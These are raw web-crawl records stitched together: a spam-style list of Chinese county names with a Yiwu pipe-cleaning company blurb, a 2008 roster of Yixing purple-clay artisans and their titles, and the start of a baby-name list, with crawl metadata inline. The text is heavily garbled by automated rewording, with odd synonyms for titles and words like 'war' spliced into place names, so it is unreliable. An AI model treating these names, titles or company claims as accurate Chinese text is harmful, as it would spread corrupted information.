安乡 临澧 澧县 石门 慈利 桑植 龙山 永顺 花垣 保靖济阳 宁津 商河 惠民 庆云 无棣 阳信 沾化 利津 垦利 邹平 高青 博兴沙县 尤溪 泰宁 建宁 明溪 宁化 清流 长汀 连城 武平 上杭 永定 华安【县】井陉 元氏 赞皇 高邑 临城 内丘 邢台 永年 涉县 磁县 临漳 魏县马关 麻栗坡 西畴 广南 富宁 富民 禄丰 武定 元谋 永仁 大姚 姚安【县】嵩明 马龙 沾益 富源 会泽 巧家 鲁甸 大关 彝良 镇雄 威信 永善乃东 桑日 琼结 洛扎 措美 曲松 隆子 错那 加查 朗县 米林 当雄 那曲贵南 同德 兴海 玛沁 甘德 达日 久治 班玛 天峻 乌兰 都兰 玛多 称多大邑 双流 新津 宝兴 芦山 天全 名山 蒲江 丹棱 洪雅 眉山 彭山 青神永平 云龙 泸水 腾冲 梁河 盈江 陇川 龙陵 施甸 昌宁 凤庆 云县 永德盐山 海兴 青县 博野 蠡县 肃宁 清苑 高阳 大城 文安 安新 徐水 容城【县】新乡 原阳 淇县 汤阴 安阳 滑县 浚县 内黄 南乐 清丰 范县 台前古丈 沅陵 安化 泸溪 新化 溆浦 辰溪 凤凰 中方 洞口 隆回 新宁 绥宁无极 深泽 安平 饶阳 武强 武邑 献县 阜城 景县 吴桥 东光 南皮 沧县【县】 乌鲁木齐托克逊 鄯善 吉木萨尔奇台 伊吾 玛纳斯 呼图壁 沙湾 精河 温泉【县】卓资 凉城 和林格尔 净水河 托克托 武川 固阳 五原 磴口 兴和 商都濉溪 萧县 砀山 涡阳 太和 临泉 阜南 利辛 蒙城 怀远 凤台 颍上 寿县【地级市】广州 东莞 深圳 惠州 汕尾 汕头 揭阳 潮州 梅州 河源 韶关射阳 阜宁 滨海 涟水 灌南 响水 灌云 赣榆 东海 沭阳 淮阴 泗阳 洪泽【县级市】巢湖 天长 明光 宿州 亳州 界首 六安 桐城 宣州 贵池 宁国从化 花都 三水 南海 番禺 顺德 高超 鹤山 新会 开平 台山 四会 高要平阴 长清 宁阳 泗水 平邑 蒙阴 沂源 沂水 五莲 沂南 莒县 莒南 费县桓台 广饶 临朐 昌乐 长岛 东明 鄄城 郓城 梁山 巨野 嘉祥 汶上 东平宝鸡 凤翔 千阳 陇县 太白 凤县 留坝 略阳 宁强 勉县 南郑 城固 洋县胶南 即墨 平度 莱西 莱州 招远 龙口 蓬莱 栖霞 莱阳 海阳 乳山 文登竹溪 京山 监利 公安 远安 宜昌 兴山 秭归 巴东 鹤峰 建始 宣恩 咸丰萝北 巴彦 木兰 通河 朴直 宾县 延寿 东宁 林口 鸡东 勃利 依兰 汤原【县级市】辉县 卫辉 林州 永城 沁阳 济源 孟州 荥阳 新密 巩义 偃师疏勒 疏附 乌恰 莎车 泽普 叶城 皮山 墨玉 和田 洛浦 策勒 于田 民丰上思 崇左 宁明 龙州 天峨 南丹 东兰 凤山 乐业 凌云 隆安 平果 田东【县】贺兰 陶乐 平罗 惠农 永宁 盐池 中宁 中卫 齐心 海原 西吉 固原灵寿 行唐 曲阳 唐县 望都 顺平 满城 阜平 易县 涞水 涞源 定兴 正定【县级市】吐鲁番 哈密 米泉 阜康 昌吉 石河子 奎屯 乌苏 博乐 塔城 阿勒泰 伊宁浪卡子 仁布 江孜 康马 亚东 岗巴 定结 白朗 南木林 谢通门 萨迦 拉孜沁县 襄垣 武乡 太谷 祁县 平遥 沁源 古县 安泽 浮山 翼城 沁水 阳城武义 缙云 云和 庆元 泰顺 仙居 青田 永嘉 玉环 洞头 文成 平阳 苍南修武 武陟 泛爱 温县 许昌 襄城 郏县 宝丰 鲁山 伊川 宜阳 汝阳 嵩县西乡 镇巴 佛坪 宁陕 石泉 汉阴 紫阳 岚皋 平利 镇坪 旬阳 白河 镇安灵台 泾川 宁县 正宁 合水 镇原 庆阳 环县 华池 皋兰 靖远 景泰 永登玉山 余干 万年 波阳 婺源 浮梁 都昌 湖口 彭泽 九江 星子 德安 永修【县级市】临川 贵溪 上饶 乐平 德兴 瑞昌 高安 丰城 樟树 宜春 吉安炎陵 桂东 永兴 汝城 宜章 临武 桂阳 新田 嘉禾 宁远 蓝山 双牌 道县望江 当涂 芜湖 繁昌 郎溪 广德 南陵 铜陵 青阳 泾县 东至 石台 祁门【县级市】丰镇 集宁 东胜 临河 二连浩特锡林浩特通辽 霍林郭勒 乌兰浩特耀县 宜君 黄陵 黄龙 洛川 富县 宜川 甘泉 耽误 延川 清涧 子长 安塞江安 合江 长宁 高县 珙县 筠连 兴文 叙永 古蔺 荥经 汉源 石棉 甘洛华宁 通海 石屏 建水 蒙自 红河 元阳 绿春 泸西 弥勒 丘北 文山 砚山【县级市】增城 惠阳 陆丰 普宁 潮阳 澄海 兴宁 南雄 乐昌 连州 英德【县】闽侯 连江 罗源 霞浦 柘荣 寿宁 周宁 屏南 古田 闽清 政和 松溪【县】阳曲 定襄 五台 代县 繁峙 灵丘 宁武 神池 山阴 应县 浑源 广灵盐边 会理 会东 茂县 汶川 理县 松潘 九寨沟 若尔盖 红原 阿坝 黑水【县】堆龙德庆林周 达孜 墨竹工卡工布江达 林芝 墨脱 曲水 贡嘎 扎囊嵊州 诸暨 建德 义乌 东阳 兰溪 山河 永康 丽水 龙泉 临海 温岭 乐清仁化 曲江 阳山 清爽 佛冈 怀集 广宁 封开 郁南 德庆 云安 新兴 斗门【地级市】长沙 岳阳 株洲 衡阳 郴州 永州 湘潭 邵阳 怀化 益阳 常德【县】 台北 桃园 新竹 苗栗 台中 彰化 南投 云林 嘉义 台南 高雄 屏东 台东巩留 新源 昭苏 特克斯 和静 和硕 博湖 尉犁 轮台 库车 新和 沙雅 拜城怀仁 大同 阳高 天镇 左云 右玉 偏关 河曲 保德 五寨 岢岚 兴县 岚县【县级市】鹿泉 沙河 武安 南宫 冀州 藁城 晋州 辛集 深州 泊头 黄骅 新乐 安国【自治县】富川瑶族自治县 恭城瑶族自治县 金秀瑶族自治县 龙胜各族自治县志丹 吴旗 定边 靖边 横山 子洲 绥德 吴堡 米脂 佳县 神木 府谷 淳化【县级市】公主岭 双辽 洮南 大安 榆树 德惠 九台 舒兰 蛟河 敦化 图们以\"诚信为本\"的产物理念,公司位于浙江义乌,可以大概处理各项管路洁净、净化工程,【县级市】新民 北宁 凌海 兴城 凌源 北票 铁法 开原 凤城 灯塔 海城【县】邕宁 合浦 宾阳 横县 灵山 浦北 博白 陆川 兴业 容县 平南 藤县濮阳 长垣 延津 封丘 中牟 开封 兰考 民权 睢县 宁陵 虞城 夏邑 获嘉【县】肥东 含山 和县 有为 全椒 来安 定远 凤阳 五河 泗县 固镇 灵璧【县级市】广汉 什邡 绵竹 江油 阆中 巴中 万源 达川 华蓥 简阳 资阳 都江堰 彭州 崇州 邛崃 雅安 峨眉山 西昌聂荣 安多 索县 巴青 好比 边坝 嘉黎 波密 洛隆 丁青 类乌齐 昌都吉安 永新 莲花 宁冈 泰和 万安 兴国 遂川 赣县 上犹 崇义 大余 于都孟津 新安 渑池 陕县 洛宁 卢氏 栾川 西峡 淅川 内乡 镇平 南召 社旗马尔康 壤塘 色达 石渠 德格 甘孜 炉霍 道孚 新龙 白玉 金川 丹巴【自治县】喀喇沁右翼蒙古族自治县 阜新蒙古族自治县新宾满族自治县 清原满族自治县露台 新昌 桐庐 淳安 浦江 磐安 金华 龙游 衢县 开化 常山 遂昌 松阳黄陂 红安 大悟 孝昌 云梦 南漳 襄阳 保康 房县 谷城 郧县 郧西 竹山【县】梨树 长岭 通榆 镇赉 乾安 扶余 农安 安图 汪清 永吉 东辽 东丰塔河 漠河 呼玛 孙吴 逊克 拜泉 林甸 明水 青冈 望奎 绥棱 庆安 嘉荫牟定 南华 华坪 永胜 鹤庆 剑川 中甸 德钦 福贡 洱源 宾川 祥云 弥渡仪陇 宣汉 达县 开江 蓬安 营山 渠县 大竹 邻水 乐至 安岳 资中 温江【县级市】宣威 昭通 平战争静 开远 个旧 楚雄 大理 保山 潞西 畹町 瑞丽【县】齐河 茌平 东阿 阳谷 莘县 冠县 夏津 高唐 武城 平原 陵县 临邑【县级市】临清 禹城 乐陵 滨州 章丘 青州 寿光 昌邑 安丘 高密 胶州【县级市】浏阳 汨罗 临湘 醴陵 耒阳 常宁 资兴 韶山 湘乡 娄底 涟源旬邑 彬县 长武 户县 周至 武功 礼泉 乾县 永寿 麟游 扶风 眉县 岐山托里 裕民 额敏 福海 吉木乃 布尔津 哈巴河 富蕴 青河 霍城 伊宁 尼勒克宜黄 南城 黎川 南丰 广昌 石城 乐安 永丰 宁都 新干 峡江 吉水 安福仁寿 夹江 井研 威远 荣县 隆昌 富顺 泸县 犍为 沐川 屏山 宜宾 南溪枣阳 宜城 老河口 丹江口 天门 钟祥 仙桃 潜江 石首 松滋 枝江 枝城巨鹿 平乡 广宗 清河 故城 隆尧 柏乡 枣强 新河 宁晋 赵县 栾城 平山【县】辽中 台安 盘山 大洼 绥中 建昌 建平 向阳 义县 黑山 彰武 铁岭【县】长沙 湘阴 岳阳 平江 湘潭 株洲 衡山 衡东 衡南 攸县 茶陵 安仁昆山 锡山 吴县 吴江 仪征 江都 姜堰 泰兴 靖江 如皋 通州 海门 启东康保 沽源 赤城 隆化 滦平 承德 平泉 兴隆 迁西 玉田 丰润 卢龙 抚宁秦安 净水 礼县 西和 两当 徽县 成县 武都 康县 文县 庄浪 华亭 崇信【区】战争区 河东区 南开区 河西区 河北区 红桥区 塘沽区 汉沽区 大港区 东丽区 西青区 津南区 北辰区【地级市】石家庄 邢台 邯郸 衡水 沧州 保定 廊坊 张家口 承德 唐山 秦皇岛织金 纳雍 水城 赫章 风雅 黔西 修文 息烽 开阳 金沙 遵义 桐梓 习水蕉岭 平远 梅县 五华 龙川 战争 紫金 东源 连平 翁源 新丰 龙门 始兴【县】团风 浠水 蕲春 黄梅 阳新 嘉鱼 通山 崇阳 通城 罗田 英山 新洲洪洞 隰县 永和 大宁 蒲县 吉县 乡宁 襄汾 曲沃 新绛 稷山 绛县 垣曲方城 叶县 临颍 郾城 舞阳 西平 遂平 泌阳 唐河 新野 桐柏 尉氏 通许【县级市】余杭 海宁 桐乡 平湖 临安 富阳 萧山 上虞 慈溪 余姚 奉化登封 新郑 长葛 禹州 汝州 义马 灵宝 舞钢 邓州 周口 项城 驻马店盐津 绥江 水富 呈贡 宜良 陆良 师宗 罗平 晋宁 易门 双柏 澄江 江川雄县 永清 固安 蔚县 阳原 涿鹿 怀来 宣化 怀安 万全 尚义 崇礼 张北【自治县】江华瑶族自治县 麻阳苗族自治县 芷江侗族自治县 新晃侗族自治县【县级市】宁德 福安 福鼎 长乐 福清 南安 晋江 石狮 建瓯 建阳 武夷山静乐 娄烦 方山 临县 清徐 交城 文水 柳林 中阳 交口 石楼 灵石 汾西宕昌 迭部 舟曲 榆中 定西 会宁 静宁 通渭 渭源 陇西 漳县 武山 甘谷【县】江宁 丹徒 溧水 高淳 江浦 天地 邗江 如东 海安 盐都 宝应 建湖江永 双峰 邵东 新邵 衡阳 祁东 祁阳 邵阳 东安 望城 宁乡 桃江 汉寿【县】平坝 惠水 长顺 普定 晴隆 普安 兴仁 贞丰 安龙 册亨 望谟 罗甸越西 冕宁 喜德 美姑 雷波 昭觉 金阳 布拖 德昌 普格 宁南 盐源 米易【县级市】古交 忻州 原平 榆次 介休 孝义 汾阳 离石 霍州 临汾 侯马【地级市】合肥 滁州 蚌埠 淮南 淮北 阜阳 安庆 芜湖 马鞍山 铜陵 黄山【地级市】成都 德阳 绵阳 广元 遂宁 南充 广安 内江 自贡 泸州 宜宾 乐山 攀枝花武宁 修水 铜鼓 靖安 奉新 安义 宜丰 上高 万载 分宜 芦溪 上栗 崇仁苍梧 蒙山 昭平 钟山 阳朔 荔浦 平乐 灌阳 资本 全州 兴安 灵川 临桂浦城 永泰 莆田 平潭 大田 德化 永春 升天 安溪 惠安 光泽 顺昌 将乐【县】安然 乐都 湟中 湟源 海晏 刚察 祁连 共和 贵德 尖扎 同仁 泽库盐亭 射洪 蓬溪 大英 西充 南部 苍溪 旺苍 南江 岳池 武胜 通江 平昌义乌卓顺科技无限公司,漂亮洁家电洗濯机设施、水管洗濯设施、洗濯设施、家电机设施出产的立异型企水管洗濯办事、洗濯设施定制为义乌卓顺科技旗下焦点营业,\"诚信、专业、敬业\"的办道理念,扎根运营,漂亮洁环保设施科技具有多项水管洗濯手艺,有着结实的室第\/别墅\/工场\/病院\/学校\/企事业单元\/构造单元\/星级旅店等自来水管净化、洗濯办事手艺和经验。业专一于家电、水管洗濯手艺研发、水管具备独立研发和出产威力,博得客户的支撑与业界的承认。专一于家电、水管洗濯手艺研发、水管洗濯设施、家电洗濯机设施出产的立异型企业。","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.itsherbiz.com\/products\/cp2\/680.html","date":"2019-05-23T22:05:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257396.96\/warc\/CC-MAIN-20190523204120-20190523230120-00530.warc.gz","language":"lzh","language_score":0.470924437,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.470924437046051, \"cmn_Hani_score\": 0.32301566004753113, \"nan_Hani_score\": 0.18497474491596222, \"wuu_Hani_score\": 0.01072743535041809}","num_words":1611,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.307,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":500.0,"cluster_detection":1} +{"text":"国紫砂陶艺人物最新职称大全中国紫砂陶艺人物最新职称大全荣幸称谓(以积年来上司文献颁布为准、为序,双重称谓获取者以最高为列。)中国工艺美术巨匠一九八八年 顾景舟 一九九三年蒋 蓉 汪寅仙 徐秀棠 吕尧臣一九九五年 谭泉海 徐汉棠 二○○七年 李昌鸿 鲍志强 顾绍培 周桂珍 中国陶瓷艺术巨匠 何道洪江苏省工艺美术巨匠鲍仲梅 徐安碧 邱玉林 李守才 季益顺 吴 鸣 徐达明 曹亚麟 谢曼伦 储立之 毛国强 曹婉芬 沈蘧华 吕俊杰(南京)浙江省工艺美术巨匠蒋淦勤 蒋兴宜 江苏省工艺美术名士潘持平 吴 震 许成权 张红华 沈汉生 王石耕 范洪泉 凌锡苟 朱筑伟 葛 军 张振中 范筑军 汤鸣皋 途朔良(无锡)?????? 顾治培 许艳春 杨勤芳 刘筑平 蒋新安 高筑芳 储集泉 陈国良 吴培林 周尊荣 程 辉 何挺初 高丽君 陈筑平 倪顺生专业技巧职称(以积年来上司文献颁布为准,不预览、不比对实质而直接下载爆发的懊悔题目本站不予受理。1.本站不保障该用户上传的文档完美性,以姓氏笔画为序)切磋员级高级工艺美术师毛国强 王石耕 史国富 吕尧臣 汤鸣皋 朱筑伟 刘筑平 许艳春 何挺初 何道洪 吴 鸣 吴 震 张红华 李守才 李昌鸿 汪寅仙 沈汉生 沈蘧华 邱玉林 陈筑平 杨勤芳 周桂珍 周尊荣 季益顺 范洪泉 咸仲英 凌锡苟 徐汉棠 徐安碧 顾绍培 夏俊伟 高筑芳 曹亚麟 曹婉芬 储立之 储集泉 程 辉 蒋新安 谢曼伦 鲍志强谭泉海 潘持平高级工艺美术师(国度)尹祥明 方卫明 王幼龙 王国祥 王 涛 韦钟云 孙伯春 吕俊杰 许成权 庄玉林 华 健 何六一 吴幼楣 吴亚亦 吴亚克 吴培林 陆虹炜 张振中 怀其芳 束旦生 陈国良 陈繁荣 邵顺生 李 霓 范永良 范筑军 范筑华 施幼马 胡永成 胡洪明 倪顺生 徐达明 徐秀棠 桑黎兵 顾道荣 顾治培 高丽君 高湘君 黄自英 葛 军 葛岳纯 蒋 蓉 蒋 彦 蒋国兴 韩幼虎 鲍仲梅 鲍正兰 鲍利安 途朔良 徐 南李 斌 蒋雍君 赵 良 高级工艺美术师(地方)江筑翔 吴同芬 吴群祥 张庆臣 束凤英 周定华工艺美术师(国度)方幼龙 毛 丹 毛文杰 毛子健 王幼君 王生娣 王桂芬大 王福君 王柯钧 王杏军 史幼明 吕俊庆 朱 斌 朱 丹 朱新洪 朱鸿钧 牟锦芬 汤 杰 任惠芬 刘彬芬 刘剑飞 许华芳 何文君 何忍群 何燕萍 吴介春 吴开浒 吴扣华 吴贞裕 吴奇敏 吴奇媛 吴祥大 吴淑英 吴曙峰 张海平 张梅珍 张筑平 李园林 李 群 李 霞大 杨义富 汪成琼 沈龙娣 沈筑强 邵毓芬 邹玉芳 陆 君 陈 成 陈依群 陈国宏 陈洪平 周 全 周 刚 周志和 周国芳 周定芳 周琴娣 房玉兰 范友良 范伟群 范其华 范国歆 范筑荣 勇跃军 咸雨利 胡敖君 赵明敏 赵曦鹏 费寅媛 查元康 倪筑军 倪新安 唐伯琴 夏淑君 徐元明 徐 立 徐 青 徐益勤 徐雪娟 徐 雯 叙跃伟 郭超刚 顾美群 顾斌武 顾 婷 顾 勤 顾卫芬 顾筑芳 高 俊大 曹燕萍 曹宇宏 曹奇敏 黄旭峰 强德俊 葛陶中 葛明祥 蒋才源 蒋筑军大 蒋敖生 蒋琰滨 蒋艺华 蒋筑军 蒋丽雯 董亚芳 储 峰 鲁 浩 鲍 青 鲍正平 鲍燕萍 鲍利民 鲍廷博 鲍玉梅 潘幼忠 潘跃明 谢 强 谢菊萍 戴云燕 李 玮 潘 岷 范卓群 马志远 工艺美术师(地方)马新勤 尹红娣 方华萍 毛顺洪 王奋良 叶惠毓 刘凤英 刘筑芳 孙志平 朱筑平 何 健 吴筑林 吴筑强 张树林 张哲伟 李 铭 沈寅华 沈 琳 邵泽平 陈文南 陈笑林 范志中 郑求标 姚志泉 姚志源 唐六琴 唐永财 徐 萍 诸葛逸仙 钱筑生 钱祥芬 钱菊华 顾秀娟 高 俊幼 崔国琴 蒋金凤 韩洪波 褚婷圆 帮理工艺美术师(国度) 丁俊宏 丁淑萍 丁维其 万亚钧 万根法 万新洪 马永强 马俊华 马顺伢 尹月华 尹仲君 尹红英 方幼琴 王幼平 王玉芳 王亚军 王杏坤 王 芳幼 王其明 王岳龄 王春明 王晓健 王桂芬幼 王 祥 王耕兰 王 敏 王铭东 王银芳 王惠中 王联芳 王潇笠 王 霞 毛春英 卢息勤 史伟如 史宝芝 史筑中大 史筑平 史金妹 史银之 叶永君 叶慧芬 申屠国洪 刘红仙 刘国强 刘荣萍 刘 莹 刘锡芬 华雪琴 吉春萍 吕卫芳 庄永忠 庄玉珍 庄暗明 朱永忠 朱亚琴 朱其大 朱荣妹 朱峰海 朱新南 江 敏 江勤翔 汤志明 许士群 许时娟 许良平 许 浒 许爱华 许煜红 苛志军 何 叶大 何 敏 余仲华 吴幼卫 吴幼军 吴幼萍 吴文新 吴东瑾 吴幼波 吴永宽 吴江健 吴志强 吴 芳 吴芳娣 吴筑平 吴 青 吴冠敏 吴春华 吴顺洪 吴菊芳 吴赛春 吴燕群 宋幼卫 宋宝娟 应永忠 张幼科 张生荣 张伟军 张竹筠 张克强 张宏桃 张志清大 张志清幼 张泉林 张 洁 张顺法 张晓蕾 张爱华 张彩英 张菊萍 张 锋 张 毅 李卫明 李洪明 李 强 李惠强 杨幼泉 杨仁勤 杨志仲 杨秀芬 杨良君 杨 俊 杨爱萍 杨维高 杨逸文 杨惠英 汪 叶 汪筑川 沈幼平 沈安闲 沈筑军 沈筑康 沈彩娥 沈菊芳大 沈菊芳幼 沈锡芬 苍林华 苏 敏 邱占春 邵伟民 邵沛华 邵俊芬 邵美华 邵逸平 邵惠民 闵 璐 闵华萍 闵祥君 陆其明 陈夕良 陈午敏 陈月娥 陈龙大 陈亚萍 陈红梅 陈宏林 陈国伟 陈忠庆 陈顺英 陈顺培 陈 晔 陈 腾 单智辉 周幼明 周伟君 周志君 周志良 周其坤 周国新 周奇鸣 周筑春 周忠军 周俊智 周品鑫 周洁平 周洪明 周洪彬 周洪强 周荣金 周钧林 周顺芳 周晓琴 周菊英 周 婷 周勤龙 周瑞成 周静洁 宗志仙 宗志军 庞现军 杭菊芬 罗泽南 苗春洪 范 荷 范乃军 范乃芝 范卫强 范中明 范云松范仁良 范双元 范永平 范永军 范红英 范杏华 范秀红 范秀芳 范学军 蒋菊芳 范学群 范宜娟 范筑中 范泽锋 范泉明 范水兵 范淑娟 范锡元 范 颖 范拂晓 郑剑锋 金全大 俞荣骏 姚亚勤 姜新伟 胡云良 胡仁杰 赵洪利 倪筑芸 凌达君 唐 科 唐朝军 夏 立 徐幼萍 徐才平 徐兰君 徐永君 徐玉强 徐 曲 徐志军 徐志倩 徐筑芳 徐浩俊 徐 敏 徐维真 徐暗华 殷筑平 殷惠娟 秦永强 秦国萍 耿春华 袁立新 袁国强 叙文华 叙 敏 贾逸芳 郭显强 钱一清 钱午生 钱菊萍 钱雪妹 顾幼英 顾中南 顾幼之 顾杏娟 顾筑军 顾筑明 顾洪军 顾顺元 顾顺芳 顾 涛 顾跃鸣 顾燕萍 高卫忠 高文萍 高壮华 高奋荣 高筑中 高 嫣 崔龙君 崔国良 曹开国 曹竞方 曹敏敏 曹燕锋 梅宝玉 眭龙俊 黄这样 黄玉华 黄达军 黄丽萍大 黄丽萍幼 储亦斌 喻幼芳 彭耀年 葛昊翔 葛 火亘?? 董开生 董 健 蒋幼军蒋全卫 蒋秀娟 蒋凌云 蒋 峰 蒋益军 蒋惠娟 谢国年 鲁文琴 鲁新华 途幼明 鲍玉华 鲍筑明 鲍峰岩 鲍荷芳 鲍雯君 鲍曙岩 鲍 骧 廖江玲 缪永娣 翟荷芬 谭晓君 谭晓燕 潘幼兔 潘旭峰 潘国新 潘梅强 穆明龙 王 芳大 王家新 冯云华 卢宁刚 叶洪军 刘 军 孙立强 朱叶新 朱志芬 朱国强 朱 彬 羊筑鹏 许学芳 许筑生 许爱仙 许敏芳 邢洪林 何 震 吴云峰 吴利群 吴国春 吴婷婷 吴勤芳 吴 震幼 张听金 张 寅 张 斌 张 静 李锡凤 杨伟倩 杨红伟 汪成林 苏叶飞 陈水仙 陈正初 陈珍华 陈 锋 周宇杰 周伯娟 周志新 周惠仙 承 健 杭丽青 范志强 范顺君 范晓丽 胡朝君 贺洪梅 赵孟君 夏 颖 徐幼平 徐志平 秦利君 莫顺仙 郭莉萍 郭 琴 高爱春 盛听凤 程 曙 蒋国娟 管筑平 蔡咏梅 潘亚云 潘伟明 朱益益 胡洪锁 徐锡明 高祥芬帮理工艺美术师(地方)孔春华 方伟琴 王凤盘 冯余妹 冯杏华 史学明 史筑中幼 史科琴 叶琴芳 仲晓根 刘友良 刘国亚 刘梅仙 吕黛琳 孙志琴 朱 敏 江晓云 许国强 何 强 吴东元 张 健 张菊芳 李元军 汪梅芳 陈富大 陈志雄 陈国芳 陈顺根 周庚大 周筑英 周新保 范幼龙 范亚琴 范丽华 范卓华 范荣仙 范海燕 俞其元 唐朝红 钱立群 顾幼丽 顾学中 顾晓斌 高 俭 高 峰 高凌云 高晓东 曹 洁 蒋华仙 蒋静明 谢 明 鲍志娟 潘 涛 樊筑平 蒋筑亚工艺美术员(国度)丁 萍 丁玉英 丁亦琴 万志群 万勤娟 马国芳 马群东 马王景 辉 仇伟中 卞 炬 尹 怀 尹优英 尹旭峰 尹杏军 尹筑新 尹俊亚 尹海峰 文 盛 文玉兰 方 刚 方彩娣 方耀可 毛承君 毛梅红 王士平 王幼妹 王这样 王兰芳 王冬萍 王庆华 王丽英 王丽萍 王兵华 王利平 王利君 王志华 王国良 王筑芳 王筑英 王筑秋 王 春 王秋萍 王香勤 王海东 王继忠 王 萍 王雪锋 王 强幼 王新民 王福新王赛红 邓亚亚 冯 伟 冯志明 冯筑跃 冯洪君 冯雪峰 冯 辉 包亚军 卢永强 卢 伟 史永棠 史效军 史福棠 史霓霞 白洪欣 石 燕 任永芬 刘幼敏 刘军华 刘红霞 刘筑明 刘 俊 刘 政 刘洪俊 刘晓清 刘菊仙 刘新民 华筑忠 华 英 华 珊 吕亚君 孙 平 孙伟强 孙宏地 孙宏波 孙筑芳 孙泽华 孙金立 孙越芳 庄丽珍 庄其芳 庄荣芳 成永军 曲 峰 朱永良 朱永强 朱旭庭 朱芊芊 朱朝晖 江筑群 江晓颖 汤亚姣 汤先武 汤泽新 汤 俊 汤瑜馨 祁玉林 祁明亮 纪 贤 许永菊 许亦晖 许 仲 许 兵 许学军 许筑平 许诚义 许美华 许美勤 许爱萍 许益军 许梅英 许跃平 许慧群 许 燕 许燕芳 许曙芳 何 叶幼 何伟锋 何 军 何筑新 佘子连 余立平 余 勇 余健荣 吴卫兰 吴夕初 吴幼琴 吴亚萍 吴 军 吴红芳 吴行军 吴利民 吴君兰 吴含姣 吴听成 吴志良 吴志群 吴季舟 吴筑明 吴林娣 吴欣初 吴 勇 吴秋平 吴秋红 吴姬英 吴菊凤 吴勤兰 吴新南 吴 震大 宋海燕 应书良 应龙琴 应红芳 张 娟 张子威 张幼亦 张幼均 张云熙 张红勤 张丽萍 张利琴 张译强 张筑伟 张 炜 张俊良 张 勇 张洪明 张顺荣 张倩倩 张爱成 张培民 张琴芬大 张琴芬幼 张琴芳 张 臻 李云芬 李占平 李正强 李长生 李 伟 李 花 李 明 李 英 李金林 李晓忠 李敏华 李盘凤 李惠芳 杜 秋 杨光树 杨科芳 杨 群 杨 霞 汪立彬 汪华艳 汪成友 汪国平 沈幼君 沈书良 沈文军 沈亚娟 沈红梅 沈侨励 沈秋伟 沈骏强 沈翠莲 沈震宇 邵国亮 邵国锋 邵筑平 邵美芳 邹 兰 邹旭敏 陆利华 陆志云 陆国庆 陆筑芬 陆德祥 陈一飞 陈一平 陈卫明 陈 军 陈米军 陈红珍 陈志豪 陈筑中 陈筑忠 陈 怡 陈映强 陈春生 陈春芬 陈祖勇 陈祖桥 陈美华 陈惠红 周卫君 周幼凤 周云龙 周永纲 周立民 周亚娟 周亚萍 周亚群 周伟光 周 旭 周旭平 周行其 周国平 周国民 周岳明 周 杰 周林惠 周金华 周冠华 周春凤 周荣华 周 峰 周益军 周 萍 周银凤 周 强 周惠鸣 孟晓军 季伟成 宗 平 房永华 於凤娣 杭兆强 杭 峰 林 超 罗伯平 罗 强 范 卫 范幼中 范幼君 范文俊 范正初 范永芳 范亚云 范亦新 范丽静 范利平 范利枫 范杏芬 范国强 范国勤 范筑群 范治平 范育君 范剑龙 范春花 范春娣 范荣初 范培君 范彩勤 范菊英 范逸群 范惠萍 范朝伟 范群飞 范锡军 郁闲雅 郑幼杰 勇丽琴 勇 巍 姚丽云 姚 芳 姚恒辉 洪发军 胡立敏 费明华 贺洪清 贺 敏 赵幼琴 赵 军 赵志琴 赵信军 赵 晖 赵海燕 赵雪琴 赵 霞 项 峻 骆耀明 凌 青 凌海宏 凌跃明 唐 田 唐国平 唐筑平 唐开国大 唐开国幼 唐林彬 夏晓挺 徐 晏 徐幼明 徐再萍 徐君芳 徐志兵 徐志新 徐 芳 徐筑强 徐 俊 徐春花 徐 健 徐桓静 徐爱琴 徐菊英 徐 勤 徐新中 徐新芳 徐 静 徐 燕 徐 赟 殷才平 殷美娟 袁朝舟 叙杏娟 叙剑锋 郭凤琴 郭占华 郭江雯 郭江霞 郭其新 郭桂芳 钱幼珍 钱云峰 钱文英 钱亚斌 钱兴洪 钱筑荷 钱海霞 顾志华 顾定荣 顾桂荣 顾跃飞 顾跃君 顾新军 顾新陶 顾磊磊 高卫萍 高永伟 高筑伟 高筑鹏 高 萍 高雪琴 高 翔 高锡兰 崔幼良 崔洪新 戚丽云 曹秀芬 曹筑平 曹筱樱 盛中杰 盛左鸣 盛其根 盛鸣鸣 黄香勤 龚南亚 储新强 储 蓁 强志军 强济人 彭耀其 焦 振 程筑明 程 鹏 童琴芬 葛静初 董正强 董庆华 董洪祥 董彩芬 董逸民 董震红 蒋云芳 蒋亚平 蒋亚芳 蒋华芬 蒋丽英 蒋李军 蒋岳军 蒋泽军 蒋泉芳 蒋晓光 蒋淑希 蒋淑萍 蒋湘玲 蒋瑞峰 蒋曙明 蒋懿芬 谢志强 谢 芳 韩惠琴 鲁文玲 鲁 瑛 虞 宏 虞燕云 褚俊伟 途国俊 鲍民军 鲍亚琴 鲍美芳 鲍敏霞 缪锡强 蔡军昌 蔡海燕 裴筑刚 潘 达 潘国胜 潘国琴 潘明星 潘 娜 潘春华 潘雪峰 霍菊华 戴文俊 戴亚强 戴耀中 濮雪娟 魏文心 魏治国 魏柏柯 瞿 斌工艺美术员(地方)王筑南 王 强盛 王出多 史筑芬 史爱明 孙利芳 许丽萍 吴芳君 吴 洁 吴暗华 李学芬 李美玲 邵志良 陈暗军 郑存琳 咸 平 唐筑林 都 群 钱 超 顾叶芬顾菊仙注:本职称大全名单截止时辰 2008年8月1日宜兴紫砂行业协会2008年8月1!","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/olplaza.com\/yulexinwenyan\/477.html","date":"2019-05-23T19:24:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257361.12\/warc\/CC-MAIN-20190523184048-20190523210048-00212.warc.gz","language":"lzh","language_score":0.5531716347,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5531716346740723, \"cmn_Hani_score\": 0.32699936628341675, \"nan_Hani_score\": 0.08506026118993759, \"wuu_Hani_score\": 0.031229985877871513}","num_words":1440,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.278,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.555,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n宣立艷 宣阿蓉 宣玉瑩 宣秀瑩 宣佳嫣 宣瑩嫣 